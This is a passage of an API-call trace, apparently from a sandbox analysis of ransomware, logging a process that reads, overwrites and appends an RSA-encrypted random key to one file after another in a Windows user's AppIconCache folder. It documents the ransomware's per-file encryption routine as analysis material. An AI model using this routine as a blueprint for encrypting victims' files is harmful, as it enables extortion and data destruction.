(in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.945] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.945] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.946] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.946] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.946] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.946] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.946] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.946] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.946] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="vO6dkiPPiY+COr2b6wwVdLeI5BfmiqAqScv8BxZZjK408bBML5vVk0AtKAlUGGU9\n3aRMUvMsxn5rmtklrK4y5R9J8raSdBORURZmmZTX2YHdY5pR0KyfYvrQ+djhzAmV\n0INNzedwpjnboxZ8HuHvP8+JhDmK6h6KA1D4t62maoZhO+oyYjhr/56KcVjW91wI\nVM1LZHUpVGp59G8zZ9SAV4z7cbLt+diEI2XmL1wJiRSJVB/Kb/eYHN1+zNnuX+Cq\nIKHZ/clfLb3MXio0zoTXdRd0Bghp8mMJpfiNwb+0ZuOgRrikNHchr3GbQAf5DZkh\nmrHOi1D3eMe2w5E8HGtziQ==\n", pcchString=0x2e3f9a8) returned 1 [0246.946] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.946] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.946] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.947] CloseHandle (hObject=0x1afc) returned 1 [0246.948] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.948] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8CBD0221-57D1-4FDF-9D21-5922534D0822}", dwFileAttributes=0x80) returned 1 [0246.948] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8CBD0221-57D1-4FDF-9D21-5922534D0822}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8cbd0221-57d1-4fdf-9d21-5922534d0822}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.949] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.949] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.950] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.950] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.951] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.951] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.951] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.951] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.951] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.951] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.951] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AqpFdY/X80w37PsuCW/o/yglB+BMeycLqPIhurd2jkaVc9q4ByBHtzgpQ0p8DE8r\n9e802ZzGfGBkNlmagc7idR1Z1EKqjs+ypnbXt7T+DYDp6C9fkGbjyB1lw9VZ63T+\nTUqs0W+MgDD/0lyiGREQKtZewtDCzkLuhI/BcSWXYafiIwgi3F7rggqV3NrQak+O\ntEkb8S2oaANZwg/SEWbQOs1clphDZuL4Gxeg+zoEow04PO+PJz29cSjbCj+7EqIG\nCpF+Qg3vgUk5/AybQ/14kCchVyAWqBOuwoJ0JIwlCoAhc1hRFW4Ihs09Af/RpCUI\nN10wdUHj3klEH2iNuzQ/pA==\n", pcchString=0x2e3f9a8) returned 1 [0246.951] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.952] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.952] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.952] CloseHandle (hObject=0x1afc) returned 1 [0246.972] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.973] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8C4A08B7-5CDB-4669-9FDA-D68576361570}", dwFileAttributes=0x80) returned 1 [0246.973] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8C4A08B7-5CDB-4669-9FDA-D68576361570}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8c4a08b7-5cdb-4669-9fda-d68576361570}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.974] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.974] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.975] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.975] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.976] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.976] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.976] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.976] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.976] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.976] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.976] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="idb7wGXMXnVvvmm0sAtblXU4bAYG5b3YI5C4uQXqz9MFUR9svPeNm4EPdvLW6aur\n0YEiXhATIGn68v8R3x841slus5n5Zfp9oEH4+PNgd/9fRTwWoHaXUltFg5CEOFdz\n9jR+x8XR1KZSBb6MMEh9nRRZxywi/Ag7s3T6MbwEzEmMjYf8ZalQrmvqlcMtsXeQ\niz+K9fkVIetsJ+PYMsuKYULEFZ23Aav+NeNCQDObiBB6mWtzp+fDkGLBsyfdmI8z\nC9wGhSdE3/ogZx0OgSGEw8v5QPN6Uq1GSovWh4mlXjV5h5LZk7f5g/BNtXE5AOKv\nIXU0I9XfeyLV5JE7K5Cirg==\n", pcchString=0x2e3f9a8) returned 1 [0246.976] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.976] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.976] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.976] CloseHandle (hObject=0x1afc) returned 1 [0246.978] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.978] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{89401BAE-1680-4ACA-85C1-003BB13BCBCC}", dwFileAttributes=0x80) returned 1 [0246.979] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{89401BAE-1680-4ACA-85C1-003BB13BCBCC}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{89401bae-1680-4aca-85c1-003bb13bcbcc}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.979] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.979] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.981] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.981] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.981] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.981] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.981] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.982] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.982] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.982] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.982] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="L+uz1b0yoYoTsoCI+eh0/pFBO7Gz78ApPbHRyac9AFPBjL7Wsv2Yy3rU6Jpvi0fz\nAFH2x+No7oxIy4PkId+v/EMi061k7hEMWZmoEtRej6MsEvZK72GPCoO0YYc/1UdG\nJEukrEVi4MpTSRwNeV85PUwFUGso7Y2wGk4zdn95L7o9GrAi63Zcw66bqp6lIo2Z\nKo1euVIUOKK4lWH2D0Ub7biYlPZaMt7m4g2ioMC+81C9yXTZvWOs4S62fTKbvDsh\nX4+lskAeL9nAe7H8T6CDNarh9VrAa60HIKmVKhX+YsxNk0EN2tCI+G/qXQBYFrHF\n/vYItc57hj1wYxX7njAkHA==\n", pcchString=0x2e3f9a8) returned 1 [0246.982] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.982] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.982] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.983] CloseHandle (hObject=0x1afc) returned 1 [0246.984] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0246.984] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8428D171-5820-4E58-8DDB-7ED13951D0DF}", dwFileAttributes=0x80) returned 1 [0246.985] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8428D171-5820-4E58-8DDB-7ED13951D0DF}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8428d171-5820-4e58-8ddb-7ed13951d0df}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0246.986] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0246.986] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.996] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0246.996] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0246.997] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0246.997] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.997] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.997] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0246.997] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0246.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0246.998] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="oFg9jXbYKrgl6cY36mablAOuTH5H+nkCsxQALO3kf/RKyK/LPr0qVai7rF429j1p\nih6FB8gx2edO6qvIuSW6q8kQ7Z1+t8RLd2MPbZtTFcQftp+FrPi5Y4Tb2fOIT/a+\nWKXVQW2wBCw5bGp3fPFR4ohhdStgpmOk548PE5coEMPPpdw8x7+WrJEF/Tpt44Pc\n/CTrt8334jVArVGKW0HnvnBf64Ju2J1RXOCIUV2HyRYEDA/PQPoo1fvjm8ZtcllG\nIZw41LOg78YaOxOSibh5M34ns1vPxf5PCWCl/JQ1603sr9NJVi7Bo0cliPGEwOgu\nafTclSD+rDdqqIwQK7bGZw==\n", pcchString=0x2e3f9a8) returned 1 [0246.998] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0246.998] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0246.998] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0246.998] CloseHandle (hObject=0x1afc) returned 1 [0247.000] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.000] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8062D437-AF97-40EE-8A69-2AE530BD9C47}", dwFileAttributes=0x80) returned 1 [0247.000] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{8062D437-AF97-40EE-8A69-2AE530BD9C47}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{8062d437-af97-40ee-8a69-2ae530bd9c47}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1afc [0247.001] GetFileSizeEx (in: hFile=0x1afc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=4246) returned 1 [0247.001] ReadFile (in: hFile=0x1afc, lpBuffer=0x2f3d038, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3d038*, lpNumberOfBytesRead=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.002] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0247.003] WriteFile (in: hFile=0x1afc, lpBuffer=0x33f7020*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33f7020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x1096, lpOverlapped=0x0) returned 1 [0247.003] SetFilePointer (in: hFile=0x1afc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x1096 [0247.003] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.003] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.003] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0247.003] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0247.003] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0247.003] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="R+Xm8Yn5rJOp+J404zPZVv/pzyC6IhtAxz2+yPvAS585Gb8fCWVx4Dg59CQL7MeO\nhRXq8oWLbxmBPVTQK36bawFgOZCVB1gjXq0W4FRkLDCyq1FOLhVJFgF0ieUJUzNS\n7crCJaCG/N/oMFYkDtuM5l8El+Yd3hTlwA8txwPW9syOKy7B+482+obW+r98lzV7\nQ7t9MVEepXK7HZbpugSMOTwbc8m05o+9GOszxVZxDT3J+bwuPNPDwI9VaBGZUE2m\n3TZMpl2ZdDdRLkYO1jL/BRavZZ918t9hkN8Nc7hWL/ia34o4NC/4TZEbo0cBbNTY\ntzjDeSoUAPFc43TJTxX/Cg==\n", pcchString=0x2e3f9a8) returned 1 [0247.004] WriteFile (in: hFile=0x1afc, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0247.004] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0247.004] WriteFile (in: hFile=0x1afc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0247.004] CloseHandle (hObject=0x1afc) returned 1 [0247.006] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0247.006] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{803254EC-E5AF-441F-BA9E-59FEA741AF56}", dwFileAttributes=0x80) returned 1 [0247.006] CreateFileW 